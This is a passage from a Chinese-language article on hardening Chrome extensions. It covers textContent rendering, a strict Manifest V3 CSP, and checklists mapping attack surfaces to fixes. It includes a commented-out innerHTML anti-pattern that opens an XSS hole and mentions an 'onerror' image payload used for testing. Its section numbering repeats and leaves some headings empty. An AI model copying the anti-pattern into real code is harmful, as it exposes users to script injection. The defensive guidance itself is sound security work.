// 2. 文本节点:用 textContent 赋值,浏览器不会解析其中的标签
const title = document.createElement('h4');
title.textContent = String(rawData.title ?? '').slice(0, 120);
panel.appendChild(title);
const summary = document.createElement('p');
summary.textContent = String(rawData.summary ?? '').slice(0, 500);
panel.appendChild(summary);
// 3. 链接:只允许 https 且命中白名单的地址,属性用 setAttribute 显式设置
const link = document.createElement('a');
const href = String(rawData.linkText ?? '');
try {
const url = new URL(href);
if (url.protocol === 'https:' && url.origin === TRUSTED_ORIGIN) {
link.setAttribute('href', url.href);
link.setAttribute('rel', 'noopener noreferrer');
link.setAttribute('target', '_blank');
link.textContent = url.hostname;
panel.appendChild(link);
}
} catch (e) {
// 非法 URL 直接跳过,不渲染
}
// 4. 挂载:用 replaceChildren 清空旧内容,避免残留节点
const host = document.getElementById('ext-panel-host') || document.body;
host.replaceChildren(panel);
}
// 反例(禁止使用):页面数据直接拼进 innerHTML,等价于把 XSS 交给扩展执行
// host.innerHTML = `<h4>${rawData.title}</h4><p>${rawData.summary}</p>`;
要点说明:
textContent赋值时浏览器只创建文本节点,<img onerror=...>这类载荷会原样显示为文字而不会执行,这是替代innerHTML最直接的手段。- 字段白名单加长度截断,可以挡住超长字符串撑爆布局与原型污染字段(
__proto__、constructor)混入。 - 链接必须解析后比对
protocol与origin,禁止javascript:伪协议;rel="noopener noreferrer"防止新窗口通过window.opener反向操作扩展页面。
再看 CSP 侧。Manifest V3 已禁止扩展加载远程代码,但 content_security_policy.extension_pages 仍可被写成宽松形式(例如放行 unsafe-eval 或宽泛的远程源),给 eval、new Function 以及被投毒的第三方 SDK 留下执行空间。下面是收紧后的写法:
json
{
"manifest_version": 3,
"name": "example-extension",
"version": "1.0.0",
"content_security_policy": {
"extension_pages": "script-src 'self'; object-src 'self'; base-uri 'self'; frame-ancestors 'none'"
},
"content_scripts": [
{
"matches": ["https://app.example.com/*"],
"js": ["content.js"],
"run_at": "document_idle"
}
]
}
要点说明:
script-src 'self'只允许加载扩展包内的脚本,禁止远程脚本与内联脚本;不写unsafe-eval后,eval、new Function、setTimeout('code')都会被直接拦截,第三方 SDK 的动态执行路径随之失效。object-src 'self'关闭<object>、<embed>这类可执行插件的加载面;base-uri 'self'防止页面通过注入<base>改写相对路径,frame-ancestors 'none'阻止扩展页面被外部站点嵌套。- Manifest V3 中
extension_pages不允许放行远程源,若构建产物依赖 CDN 脚本,应改为本地化打包;同时把content_scripts.matches收敛到业务域名,避免脚本注入到不可信站点后受页面 CSP 与自身 CSP 双重影响。
一句话总结:渲染侧用
textContent与 DOM API 把数据当文本处理,CSP 侧用script-src 'self'把执行面收进扩展包内。前者防注入,后者防执行,两者叠加才能堵住 3.2 节的 DOM 污染链路。
5.4 敏感数据存储与加密策略
5.5 依赖治理与发布流程管控
5.6 安全测试与自动化检测
5.7 加固方案落地清单
前面 5.1 至 5.6 分别从权限、消息、注入、存储、依赖与测试六个方向给出了加固范式。为便于在真实项目中逐项落地,下表把 3.1 至 3.6 六个攻击面与对应的加固动作、涉及 API、验证方式一一对齐,可直接作为发版前的核对表使用。
| 攻击面 | 对应小节 | 具体加固动作 | 涉及 API | 验证方式 |
|---|---|---|---|---|
| 权限过度申请与最小权限缺失 | 3.1 | 逐项复核 manifest,删除未使用权限;宽泛主机权限收敛到具体域名;敏感能力迁移到可选权限并在用户手势中申请 | chrome.permissions.getAll、chrome.permissions.request、chrome.permissions.contains、chrome.permissions.onRemoved |
对比 getAll() 返回集合与实际调用集合,确认无冗余;检查安装弹窗权限项与功能是否匹配 |
| Content Script 注入与 DOM 污染 | 3.2 | 页面数据一律用 textContent 或净化后的 DOM API 渲染;禁止 innerHTML 拼接与 eval;matches 收敛到业务域名 |
document.createElement、textContent、replaceChildren、chrome.scripting.executeScript |
静态扫描 innerHTML、eval、document.write 调用点;用 XSS 载荷做渲染回归测试,确认只显示为文本 |
| 消息通道伪造与来源校验缺失 | 3.3 | 监听器先校验 sender.id,再校验 sender.origin 与 sender.tab / frameId;页面侧精确比对 event.origin 与 event.source |
chrome.runtime.onMessage、chrome.runtime.onMessageExternal、window.addEventListener('message')、externally_connectable |
构造陌生扩展 ID 与伪造 origin 的消息做负向测试,确认返回 DENIED;检查是否存在 startsWith 前缀匹配 |
| 外部资源加载与供应链风险 | 3.4 | 锁定依赖精确版本并提交 lockfile;第三方脚本本地化打包;CSP 禁止 unsafe-eval 与宽泛远程源 |
content_security_policy.extension_pages、npm lockfile、依赖完整性校验 |
审查依赖树与版本范围;构建产物比对哈希;检查 CSP 字符串中是否残留 unsafe-eval 或远程源 |
| 存储数据泄露与敏感信息硬编码 | 3.5 | 敏感数据加密后写入 chrome.storage.local;密钥不落源码;content script 避免使用页面可读的 localStorage |
chrome.storage.local、Web Crypto(crypto.subtle)、chrome.storage.session |
扫描扩展包中的高熵字符串;检查存储快照是否含明文凭证;确认页面脚本无法读取扩展存储键 |
| 更新机制与自动更新劫持 | 3.6 | 优先使用商店托管更新;自托管启用 HTTPS 与访问控制;update_url 纳入完整性校验;版本比较拒绝降级 |
update_url、update.xml、crx 签名校验、版本比较逻辑 |
核对更新请求域名与声明是否一致;模拟降级与签名失败场景,确认中止更新而非放行 |
本章小结:本章的六节内容并非彼此独立的技巧堆叠,而是围绕六条主线展开的一套防御体系。最小权限解决"能力给多了",输入净化解决"数据被当代码",来源校验解决"谁都能敲门",供应链锁定解决"依赖被投毒",加密存储解决"明文即泄露",更新校验解决"分发链路被劫持"。六条主线分别对应攻击链上的入口、执行、通信、构建、落盘与分发六个环节,任何一环失守都可能让其余五环的努力归零。落地时应把它们固化为发版前的检查项与 CI 卡点,让安全约束在流水线上自动生效,而不是依赖个人记忆。
5.3 加固清单与落地优先级
前面几节按攻击面拆解了加固范式,但在真实项目中,团队往往无法一次性把所有动作全部落地。为便于排期,下表把最小权限、消息校验、供应链、存储加密、更新校验五类加固动作压缩成一张优先级清单,按「加固动作 / 对应攻击面 / 实施成本 / 优先级」四列排列,可直接作为迭代排期的输入。
| 加固动作 | 对应攻击面 | 实施成本 | 优先级 |
|---|---|---|---|
逐项复核 manifest,删除未使用权限,宽泛主机权限收敛到具体域名,敏感能力迁移到 optional_permissions |
3.1 权限过度申请与最小权限缺失 | 低:只改 manifest 与少量申请逻辑,不涉及业务重构 | P0:立即执行 |
所有 onMessage / onMessageExternal 入口统一封装,先校验 sender.id、sender.origin、sender.tab,再校验消息结构 |
3.3 消息通道伪造与来源校验缺失 | 中:需梳理全部监听器并回归测试,但可复用同一封装函数 | P0:立即执行 |
锁定依赖精确版本并提交 lockfile,第三方脚本本地化打包,CSP 禁止 unsafe-eval 与宽泛远程源 |
3.4 外部资源加载与供应链风险 | 中:涉及构建流程与依赖升级,需处理版本冲突 | P1:本迭代内完成 |
敏感数据加密后写入 chrome.storage.local,密钥不落源码,content script 避免使用页面可读的 localStorage |
3.5 存储数据泄露与敏感信息硬编码 | 中高:需引入 Web Crypto 与密钥管理方案,涉及存量数据迁移 | P1:本迭代内完成 |
优先使用商店托管更新;自托管启用 HTTPS 与访问控制,update_url 纳入完整性校验,版本比较拒绝降级 |
3.6 更新机制与自动更新劫持 | 高:涉及发布链路改造与签名体系,需运维配合 | P2:规划后分阶段推进 |
分阶段落地建议:第一阶段先做 P0 的两项------权限收敛与消息来源校验。这两项改动集中在 manifest 与监听器封装层,成本低、见效快,且能直接切断 3.1 与 3.3 两条最容易被利用的链路,适合作为第一个迭代的硬性卡点。第二阶段推进 P1 的供应链锁定与存储加密:前者通过 lockfile 与 CSP 收紧把投毒与远程执行挡在构建期,后者通过加密存储降低扩展包被解压后的信息泄露面,两项都需要改动构建与数据层,建议在同一迭代内并行推进并配套回归测试。第三阶段处理 P2 的更新通道校验,因为它涉及发布流程与签名体系,改造周期最长,但可以在过渡期先用商店托管更新作为兜底,待自托管链路完成 HTTPS、访问控制与签名校验后再切换。三个阶段之间并非严格串行,P1 的部分动作可以与 P0 并行启动,但 P0 必须在任何新功能上线前完成,否则后续加固都会被新增的权限与监听器稀释。
六、检测与应急响应
扩展行为监控、异常流量识别、下架与用户通知流程。
六、总结与落地清单
回看全文,第二章先把 Chrome 扩展的组成结构、权限体系与隔离机制、消息通信机制讲清楚,确立了「安装即授予、隔离世界不等于安全边界」这一前提;第三章沿着这个前提把攻击面拆成权限过度申请、Content Script 注入、消息通道伪造、供应链投毒、存储泄露与更新劫持六类,说明风险究竟从哪些入口进入;第四章用四个真实案例把抽象的攻击面还原成从入口到外发的完整链路,验证了这些入口在真实场景中确实可被串联利用;第五章则针对每一条链路给出权限收敛、消息校验、注入防护、存储加密与依赖治理的加固范式。四章之间是「模型 → 攻击面 → 真实链路 → 防御方案」的递进关系:第二章定义信任边界,第三章指出边界上的缺口,第四章证明缺口可被利用,第五章把缺口逐一补上。贯穿始终的结论只有两条------把每一个入口都当作不可信输入,把每一项权限都对应到真实业务代码。
落地清单:下面按六个维度整理可直接勾选执行的加固动作,建议在每次发版前逐项过一遍。
| 维度 | 可执行动作 | 完成 |
|---|---|---|
| manifest 权限复核 | 逐项复核 manifest,删除当前版本未使用的 permissions 与 host_permissions,并在 PR 中写明每项权限对应的业务代码 |
☐ |
| manifest 权限复核 | 把 <all_urls> 收敛到具体域名与路径,能用 activeTab 的场景不写死主机权限 |
☐ |
| manifest 权限复核 | 敏感能力迁移到 optional_permissions,在用户手势回调中申请,并监听 onRemoved 处理回收 |
☐ |
| content script 渲染方式 | 页面数据一律用 textContent 或净化后的 DOM API 渲染,禁止字符串拼接 innerHTML |
☐ |
| content script 渲染方式 | 禁止 eval、new Function、document.write 处理页面可控数据,chrome.scripting.executeScript 不拼接页面变量 |
☐ |
| content script 渲染方式 | content_scripts.matches 收敛到明确业务域名,避免脚本注入到不可信站点 |
☐ |
| 消息监听器来源校验 | 所有 onMessage / onMessageExternal 入口先校验 sender.id,再校验 sender.origin 与 sender.tab / frameId |
☐ |
| 消息监听器来源校验 | 页面侧 message 监听器精确比对 event.origin 与 event.source,禁止 startsWith 前缀匹配 |
☐ |
| 消息监听器来源校验 | 对 action 做白名单、对字段做类型与长度校验,拒绝 null、数组与 __proto__ 等原型污染字段 |
☐ |
| 依赖与 CSP | 提交 lockfile,依赖使用精确版本号而非 ^ / ~ 范围,并对依赖树做完整性校验 |
☐ |
| 依赖与 CSP | 第三方脚本本地化打包,CSP 中禁止 unsafe-eval 与宽泛远程源,仅放行必要源 |
☐ |
| 存储加密 | token、API Key 等敏感数据加密后写入 chrome.storage.local,密钥不落源码 |
☐ |
| 存储加密 | content script 避免使用页面可读的 localStorage,卸载时清理残留数据 |
☐ |
| 更新通道校验 | 优先使用 Chrome 应用商店托管更新;自托管时启用 HTTPS、限制更新源访问权限并对 crx 包签名校验 | ☐ |
| 更新通道校验 | 把 update_url 纳入构建产物完整性校验,版本比较逻辑拒绝降级,校验失败一律中止更新 |
☐ |
面向开发者的自查建议 :把上面这份清单固化成发版前的检查项,而不是出事后的补救措施。日常开发中建议养成三个习惯:一是新增任何权限前先问一句「这段代码真的需要它吗」,并在 PR 描述里写明用途;二是把消息监听器统一收敛到一个封装函数里,来源校验和结构校验只写一次,避免各处复制粘贴导致遗漏;三是定期用 chrome.permissions.getAll() 与依赖树做一次对账,确认实际权限集合与依赖清单没有悄悄膨胀。对于已经上线的扩展,还可以结合第五章的自动化检测手段,把权限变更、依赖变更和更新源变更纳入 CI 卡点,让安全约束在流水线上自动生效,而不是依赖个人记忆。
七、总结与展望
Manifest V3 背景下的安全趋势、平台侧治理方向与开发者行动清单。